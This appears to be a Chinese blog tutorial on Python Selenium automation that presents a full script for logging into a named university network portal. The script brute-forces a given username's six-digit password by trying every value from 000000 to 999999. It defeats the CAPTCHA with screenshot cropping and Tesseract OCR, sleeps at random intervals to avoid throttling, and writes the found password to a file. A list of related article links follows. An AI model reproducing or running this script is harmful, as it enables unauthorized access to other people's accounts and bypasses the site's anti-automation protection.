python selenium循环登陆网站的实现


Posted in Python onNovember 04, 2019

selenium 登陆网站

记录一次登陆无线网的过程

1.首先看一下要登陆的界面

python selenium循环登陆网站的实现

按一下F12看一下网页的源代码

python selenium循环登陆网站的实现

想要登陆的话,这里需要识别验证码…有点麻烦

我们看看向网站post的信息

python selenium循环登陆网站的实现

可以看到向服务器post 4个信息,一个是_csrf 验证 还有一个是验证码

csrf 验证码藏在了源码里面

python selenium循环登陆网站的实现

只需要向服务器post就行了

。。。

2.看一下selenium登陆呢?

self.browser.find_element_by_id("loginform-username").clear()
    self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名
    self.browser.find_element_by_id("loginform-password").clear()
    self.browser.find_element_by_id("loginform-password").send_keys(password) #密码
    self.browser.find_element_by_id("loginform-verifycode").clear()
    self.browser.find_element_by_id("loginform-verifycode").send_keys(code)
    self.browser.find_element_by_name("login-button").click()
    time.sleep(0.5)

识别验证码

code='1'
    while len(code)!=4 or code.isalpha() !=True:
      self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码
      self.browser.save_screenshot('img.png') #对页面进行截图
      im = Image.open('img.png')
      img = im.crop((1200,400,1350, 520)) #截取验证码 根据实际情况变动
      img = ImageEnhance.Contrast(img)  #加强比对
      img = img.enhance(2.0)
      img.save('picture2.png')
      code = pytesseract.image_to_string(img) #识别
    return code

最后看一下总的代码

import time
import random
import re
from selenium import webdriver
from PIL import Image,ImageEnhance
import pytesseract


class HZAU_net():
  def __init__(self,username):
    self.username=username
    self.url='http://zizhu.hzau.edu.cn'

  def run(self): #密码循环
    self.browser = webdriver.Firefox() #打开浏览器
    self.browser.maximize_window()   #窗口最大化
    self.browser.get(self.url)     #访问网站
    sleep_time_list=[1,2,3,4]
    out=open('HZAU_net.txt','a+')
    for x in range(999999):
      password="%06d"%(x) #生成密码
      flag=self.test_password(password) #判断密码正误 错误返回0 正确返回1
      time.sleep(random.choice(sleep_time_list)) #随机休息1-4秒 不能请求太快
      if flag=='1': #密码正确跳出循环
        out.write('用户名:%s 测试密码:%s 正确\n'%(self.username,password))
        out.write('\n-------------------------分割线-------------------------\n')
        break
      else:
        out.write('用户名:%s 测试密码:%s 错误\n'%(self.username,password))
    out.close()

  def test_password(self,password):#检验密码正确性
    code=self.get_code()
    self.login(password,code)
    login_flag=self.browser.title
    if login_flag=='首页':
      return 1
    else:
      flag=self.judge_error(password)
      return flag
    self.browser.quit()

  def login(self,password,code):#登陆
    self.browser.find_element_by_id("loginform-username").clear()
    self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名
    self.browser.find_element_by_id("loginform-password").clear()
    self.browser.find_element_by_id("loginform-password").send_keys(password) #密码
    self.browser.find_element_by_id("loginform-verifycode").clear()
    self.browser.find_element_by_id("loginform-verifycode").send_keys(code)
    self.browser.find_element_by_name("login-button").click()
    time.sleep(0.5)

  def judge_error(self,password): #判断错误类型
    flag=''
    while flag !=None:
      code=self.get_code()
      self.login(password,code)
      judge_flag=self.browser.find_element_by_css_selector("#login-form > div:nth-child(5) > div >ul").get_attribute('textContent') #错误信息
      flag=re.search('验证码',judge_flag)
    return 0

  def get_code(self):  #识别验证码
    code='1'
    while len(code)!=4 or code.isalpha() !=True:
      self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码
      self.browser.save_screenshot('img.png') #对页面进行截图
      im = Image.open('img.png')
      img = im.crop((1200,400,1350, 520)) #截取验证码
      img = ImageEnhance.Contrast(img)  #加强比对
      img = img.enhance(2.0)
      img.save('picture2.png')
      code = pytesseract.image_to_string(img) #识别
    return code


if __name__ == '__main__':
  HZAU_net('123456').run()

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
跟老齐学Python之复习if语句
Oct 02 Python
Python中的getopt函数使用详解
Jul 28 Python
使用Python脚本实现批量网站存活检测遇到问题及解决方法
Oct 11 Python
TensorFlow安装及jupyter notebook配置方法
Sep 08 Python
对pandas中apply函数的用法详解
Apr 10 Python
linux下python使用sendmail发送邮件
May 22 Python
使用Django2快速开发Web项目的详细步骤
Jan 06 Python
Python和Go语言的区别总结
Feb 20 Python
python运用sklearn实现KNN分类算法
Oct 16 Python
python3.8.1+selenium实现登录滑块验证功能
May 22 Python
python如何获得list或numpy数组中最大元素对应的索引
Nov 16 Python
使用tkinter实现三子棋游戏
Feb 25 Python
Django项目中使用JWT的实现代码
Nov 04 #Python
Python collections中的双向队列deque简单介绍详解
Nov 04 #Python
Python 下载及安装详细步骤
Nov 04 #Python
Django框架表单操作实例分析
Nov 04 #Python
ubuntu 18.04 安装opencv3.4.5的教程(图解)
Nov 04 #Python
Django框架模板用法入门教程
Nov 04 #Python
python matplotlib折线图样式实现过程
Nov 04 #Python
You might like
不用iconv库的gb2312与utf-8的互换函数
2006/10/09 PHP
一篇有意思的技术文章php介绍篇
2010/10/26 PHP
php页面防重复提交方法总结
2013/11/25 PHP
IIS下PHP的三种配置方式对比
2014/11/20 PHP
Yii2.0多文件上传实例说明
2017/07/24 PHP
浏览器图片选择预览、旋转、批量上传的JS代码实现
2013/12/04 Javascript
jquery实现textarea 高度自适应
2015/03/11 Javascript
简介JavaScript中toUpperCase()方法的使用
2015/06/06 Javascript
nodejs爬虫抓取数据乱码问题总结
2015/07/03 NodeJs
JS图片定时翻滚效果实现方法
2016/06/21 Javascript
Bootstrap Table使用心得总结
2016/11/29 Javascript
详解node HTTP请求客户端 - Request
2017/05/05 Javascript
vue引入新版 vue-awesome-swiper插件填坑问题
2018/01/25 Javascript
Vue一个案例引发的递归组件的使用详解
2018/11/15 Javascript
JS使用数组实现的队列功能示例
2019/03/04 Javascript
layui checkbox默认选中,获取选中值,清空所有选中项的例子
2019/09/02 Javascript
使用axios请求时,发送formData请求的示例
2019/10/29 Javascript
小程序实现图片预览裁剪插件
2019/11/22 Javascript
antd table按表格里的日期去排序操作
2020/11/17 Javascript
[50:02]完美世界DOTA2联赛循环赛 Magma vs IO BO2第一场 11.01
2020/11/02 DOTA
Python之pandas读写文件乱码的解决方法
2018/04/20 Python
PyQt编程之如何在屏幕中央显示窗体的实例
2019/06/18 Python
python选取特定列 pandas iloc,loc,icol的使用详解(列切片及行切片)
2019/08/06 Python
将python文件打包exe独立运行程序方法详解
2020/02/12 Python
selenium3.0+python之环境搭建的方法步骤
2021/02/01 Python
CSS3实现线性渐变用法示例代码详解
2020/08/07 HTML / CSS
Giuseppe Zanotti美国官方网站:将鞋履视为高级时装般精心制作
2018/02/06 全球购物
美国主要的特色咖啡和茶公司:Peet’s Coffee
2020/02/14 全球购物
SQL注入攻击的种类有哪些
2013/12/30 面试题
装修致歉信
2014/01/15 职场文书
英语教研活动总结
2014/07/02 职场文书
党员学习中共十八大思想报告
2014/09/12 职场文书
同学会邀请函模板
2015/01/30 职场文书
2015年女职工工作总结
2015/05/15 职场文书
原告离婚代理词
2015/05/23 职场文书
sentinel支持的redis高可用集群配置详解
2022/04/01 Redis